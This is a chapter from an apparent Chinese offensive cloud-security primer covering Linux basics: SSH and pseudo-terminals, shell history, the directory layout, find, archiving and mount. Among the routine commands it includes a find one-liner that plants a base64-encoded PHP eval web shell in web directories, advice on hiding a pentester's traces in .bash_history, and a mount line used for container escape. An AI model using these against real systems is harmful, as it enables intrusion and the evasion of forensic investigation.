> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-er-zhang-linux-gong-fang-kuai-su-ru-men-shang/linux-ji-chu-kuai-su-ru-men.md).

# Linux基础快速入门

这一章节是快速了解Linux知识，并不会从零基础讲起，如果你没有任何Linux基础，希望你通过一些书籍快速掌握基本操作再来阅读此书。

在后续章节中很多内容都需要掌握Linux一些进阶技巧，反弹Shell、echo命令、特殊权限等在容器逃逸、K8s中会经常用到。

### Linux基础快速入门

#### SSH远程访问流程

当我们在键盘上敲下一个字母的时候，到底是怎么发送到相应的进程的呢？

<figure><img src="/files/1zvxvejXqpOtXQg3Ogzr" alt=""><figcaption></figcaption></figure>

&#x20;

这里的Terminal可能是任何地方的程序，例如Windows上的Putty、Xshell之类的程序。

&#x20;

1\. Terminal请求和SSH Server建立连接

2\. 验证通过后，SSH Server将创建一个新的Session，一个Shell进程

3\. SSH Server会调用API，请求ptmx创建一个pts，成功之后呢，SSH Server将得到和ptmx关联的fd（file descriptor(文件描述符)），并与该fd和session关联起来；

4\. 同时sshd创建Shell进程，将新创建的pts和Shell绑定

<figure><img src="/files/5sgeD2lOXABGWpmlNium" alt=""><figcaption></figcaption></figure>

**TTY和PTS的区别**

对用户空间来说是没有区别，从内核看，pts另一端连接的是ptmx，而tty是连接内核的终端模拟器。

&#x20;

什么是ptmx？

ptmx是Linux中的一个特殊文件，全称为pseudo-terminal master-slave。它是一种虚拟终端，用于模拟终端设备。它允许进程向模拟终端读写数据，就好像与实际终端设备进行通信一样。它在很多应用场景中都有用到，例如：SSH登录、读写终端设备、脚本调试等。

#### Shell中两类命令

* 内部命令：由shell自带，用户登录后自动加载并常驻内存中
* 外部命令：文件系统路径下有对应的可执行程序文件，当执行时才从磁盘加载至内存中，执行完后从内存中删除

&#x20;

用type命令查看是内部还是外部命令：

```bash
type COMMAND
enable cmd #启用内部命令
enable -n cmd #禁用内部命令
enable -n #查看所有禁用的司令部命令
在一些渗透场景中，如果有些命令无法执行可以查看一下enable 
```

**Hash缓存表**

Linux还有一个与外部命令相关的Hash缓存表，称为"hash table"或"command hashing"。

这个Hash缓存表存储了已经执行过的外部命令的路径，以便下次执行时能够快速查找。当你在命令行中执行一个命令时，系统会首先检查Hash缓存表中是否已经存储了该命令的路径，如果是，就直接使用缓存表中的路径执行命令，而不必再次搜索整个文件系统。

```bash
hash -l #显示hash缓存
hash -d name #清除name缓存
hash -r #清除缓存
```

#### 常见命令

#### 命令行历史

在终端操作后，系统默认会在内存记录执行的命令，当用户退出时会将内存命令记录在\~/.bash\_history

```bash
-c    清空历史命令
-d    指定删除命令
-n    显示最近的n条历史
-w    保存历史列表到指定文件
```

```bash
HISTSIZE #命令历史记录条数
 
HISTFILESIZE #命令历史文件记录历史条数
 
#显示时间和用户
HISTTIMEFORMAT="%F %T `whoami`|"
 
HISTCONTROL: #控制命令历史的记录方式
ignoredups #去掉重复的命令
ignorespace #忽略以空白开头的命令
ignoreboth #前二条的组合
erasedups #删除重复命令
 
#永久设置
/etc/profile 或者 ~/.bash_profile
 
#空格后忽略记录
export HISTCONTROL=ignoreboth
```

在渗透场景中不建议在服务器使用history -c清除记录，最好通过编辑.bash\_history删除自己相关执行的文件，或者执行时忽略以空白开头的命令

History在渗透、溯源中起到了非常重要的作用！！！

&#x20;

关于Linux终端快捷键常用的操作：

```bash
!! #重复前一个命令
Ctrl+P #重复前一个命令
!n #执行history对应的命令
!string #执行以什么开头的命令
Ctrl + l #清屏
Ctrl+z #挂起命令
Ctrl+a #光标行首
Ctrl+e #光标行尾
Ctrl+f #光标右移一个字符
Ctrl+b #光标左移一个字符
Ctrl + xx #光标前后移动
```

#### 目录结构

标了颜色加重的，需要记住目录是什么作用的。

**根目录**

| 一级目录    | 功能（作用）                                                                                                                                                                                                            |
| ------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| /bin/   | 存放系统命令，普通用户和 root 都可以执行。放在 /bin 下的命令在单用户模式下也可以执行                                                                                                                                                                  |
| /boot/  | 系统启动目录，保存与系统启动相关的文件，如内核文件和启动引导程序（grub）文件等                                                                                                                                                                         |
| /dev/   | 设备文件保存位置                                                                                                                                                                                                          |
| /etc/   | 配置文件保存位置。系统内所有采用默认安装方式（rpm 安装）的服务配置文件全部保存在此目录中如用户信息、服务的启动脚本、常用服务的配置文件等                                                                                                                                            |
| /home/  | <p>普通用户的主目录（也称为家目录）。在创建用户时，每个用户要有一个默认登录和保存自己数据的位置，就是用户的主目录，所有普通用户的主目录是在 /home/ 下建立一个和用户名相同的目录。</p><p>如用户 liming 的主目录就是 /home/liming</p>                                                                           |
| /lib/   | 系统调用的函数库保存位置                                                                                                                                                                                                      |
| /media/ | 挂载目录。系统建议用来挂载媒体设备，如软盘和光盘                                                                                                                                                                                          |
| /mnt/   | 挂载目录。早期 Linux 中只有这一个挂载目录，并没有细分。系统建议这个目录用来挂载额外的设备，如 U 盘、移动硬盘和其他操作系统的分区                                                                                                                                             |
| /misc/  | <p>挂载目录。系统建议用来挂载 NFS 服务的共享目录。虽然系统准备了三个默认挂载目录 /media/、/mnt/、/misc/，但是到底在哪个目录中挂载什么设备可以由管理员自己决定。例如，笔者在接触 Linux 的时候，默认挂载目录只有 /mnt/，所以养成了在 /mnt/ 下建立不同目录挂载不同设备的习惯，</p><p>如 /mnt/cdrom/ 挂载光盘、/mnt/usb/ 挂载 U 盘，都是可以的</p> |
| /opt/   | <p>第三方安装的软件保存位置。这个目录是放置和安装其他软件的位置，</p><p>手工安装的源码包软件都可以安装到这个目录中。不过笔者还是习惯把软件放到 /usr/local/ 目录中，也就是说，/usr/local/ 目录也可以用来安装软件</p>                                                                                     |
| /root/  | root 的主目录。普通用户主目录在 /home/ 下，root 主目录直接在“/”下                                                                                                                                                                       |
| /sbin/  | 保存与系统环境设置相关的命令，只有 root 可以使用这些命令进行系统环境设置，但也有些命令可以允许普通用户查看                                                                                                                                                          |
| /srv/   | 服务数据目录。一些系统服务启动之后，可以在这个目录中保存所需要的数据                                                                                                                                                                                |
| /tmp/   | <p>临时目录。系统存放临时文件的目录，在该目录下，所有用户都可以访问和写入。</p><p>建议此目录中不能保存重要数据，最好每次开机都把该目录清空</p>                                                                                                                                    |

&#x20;

**/usr目录**

| 子目录          | 功能（作用）                                                                                                |
| ------------ | ----------------------------------------------------------------------------------------------------- |
| /usr/bin/    | 存放系统命令，普通用户和超级用户都可以执行。这些命令和系统启动无关                                                                     |
| /usr/sbin/   | 存放根文件系统不必要的系统管理命令，如多数服务程序，只有 root 可以使用。                                                               |
| /usr/lib/    | 应用程序调用的函数库保存位置                                                                                        |
| /usr/XllR6/  | 图形界面系统保存位置                                                                                            |
| /usr/local/  | 手工安装的软件保存位置。我们一般建议源码包软件安装在这个位置                                                                        |
| /usr/share/  | 应用程序的资源文件保存位置，如帮助文档、说明文档和字体目录                                                                         |
| /usr/src/    | 源码包保存位置。我们手工下载的源码包和内核源码包都可以保存到这里。不过笔者更习惯把手工下载的源码包保存到 /usr/local/src/ 目录中，把内核源码保存到 /usr/src/linux/ 目录中 |
| /usr/include | C/C++等编程语言头文件的放置目录                                                                                    |

**/var 目录**

| /var子目录          | 功能（作用）                                                                            |
| ---------------- | --------------------------------------------------------------------------------- |
| /var/lib/        | <p>程序运行中需要调用或改变的数据保存位置。如 MySQL</p><p>的数据库保存在 /var/lib/mysql/ 目录中</p>              |
| /var/log/        | 登陆文件放置的目录，其中所包含重要的文件如 /var/log/messages, /var/log/wtmp 等。                         |
| /var/run/        | 一些服务和程序运行后，它们的 PID（进程 ID）保存位置                                                     |
| /var/spool/      | 里面主要都是一些临时存放，随时会被用户所调用的数据，例如 /var/spool/mail/ 存放新收到的邮件，/var/spool/cron/ 存放系统定时任务。 |
| /var/www/        | RPM 包安装的 Apache 的网页主目录                                                            |
| /var/nis和/var/yp | NIS 服务机制所使用的目录，nis 主要记录所有网络中每一个 client 的连接信息；yp 是 linux 的 nis 服务的日志文件存放的目录        |
| /var/tmp         | 一些应用程序在安装或执行时，需要在重启后使用的某些文件，此目录能将该类文件暂时存放起来，完成后再行删除                               |

&#x20;

#### 文件类型

```bash
-    普通文件
d    目录
l    链接文件
b    块设备
c    字符设备
p    管道文件pipe
s    套接字文件socket
```

#### 文件查找

```bash
find
-maxdepth level 最大搜索目录深度,指定目录下的文件为第1级
-mindepth level 最小搜索目录深度
 
-name #文件名
-iname #不区分大小写
 
#组合条件
与：-a
或：-o
非：not !
 
#根据文件类型
-type TYPE
f：普通文件
d：目录文件
l：符号文件
s：套接字文件
p：管道文件
 
#排除security目录
find /etc -path '/etc/security' -a -prune -o -name "*.conf"
 
#根据文件大小查找
-size #k，M，G
 
-atime 天 #根据时间戳
 
#根据权限
-perm
find / -perm 755
 
#处理动作
-exec 执行命令
 
##备份文件
find /etc/ -name ".conf" -exec cp {} /root/conf/ \;
 
##查找权限为644，后缀为sh文件，并给于执行权限
find / -type f -perm 644 -name "*.sh" -exec chmod 755 {} \;
```

实战场景，挖到了一个命令执行但是因为找不到目录而无法写shell。

通过网页寻找特殊名称或图片名称，通过find定位WEB目录。

{% code overflow="wrap" %}

```bash
#查找文件并写入
find / -name 1.jpg|while read file;do sh -c "echo '111'">$(dirname $file)/111.txt;done
 
#查找1.jpg文件并用bash64编码写入
find / -name 1.jpg|while read file;do sh -c "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo= | base64 -d">$(dirname $file)/1.php;done
```

{% endcode %}

&#x20;

#### 压缩和解压

```bash
#gzip
-k keep, 保留原文件,CentOS 8 新特性
-d 解压缩，相当于gunzip
-c 结果输出至标准输出，保留原文件不改变
-# 指定压缩比，#取值为1-9，值越大压缩比越大
 
gunzip file.gz #解压
 
gzip -c messages > messages.gz #压缩
 
#bzip2、bunzip2
对应的文件是 .bz2 后缀
-k keep, 保留原文件
-d 解压缩
-c 结果输出至标准输出，保留原文件不改变 -# 1-9，压缩比，默认为9
 
#xz、unxz
unxz file.xz
 
zip -r /back.zip /etc/ #打包并压缩
 
zip -e password.zip * #交互式加密解密
 
zip -P 123456 password.zip * #非交互式
tar
-z 相当于gzip压缩工具
-j 相当于bzip2压缩工具
-J 相当于xz压缩工具
 
#创建归楼，保留权限
tar -cpvf /1.tar.gz /tmp/
 
#追加文件
tar -rf /1.tar.gz file
 
#排除文件
--exclude
 
#打包文件，不包含图片文件
tar -cvf web.tar.gz --exclude="*.jpg" /data/
 
#排除多个文件类型
tar -czvf web.tar.gz --exclude="*.jpg" --exclude="*.php" /data/
 
#只打包特定的文件
find /data/ -name "*.conf" |xargs tar -czvf ./conf.tar.gz
```

#### 挂载文件

```bash
mount [-t 系统类型] [-L 卷标名] [-o 特殊选项] [-n] 设备文件名 挂载点
 
-t #指定系统类型，例如ext4
-r #只读挂载
-w #读写挂载，默认配置。
 
#持久挂载
/etc/fstab
 
#操作光盘
eject #弹出光盘
eject -t #弹入光盘
 
容器逃逸常用
mount /dev/sda1 /tmp/hosts/
```

&#x20;
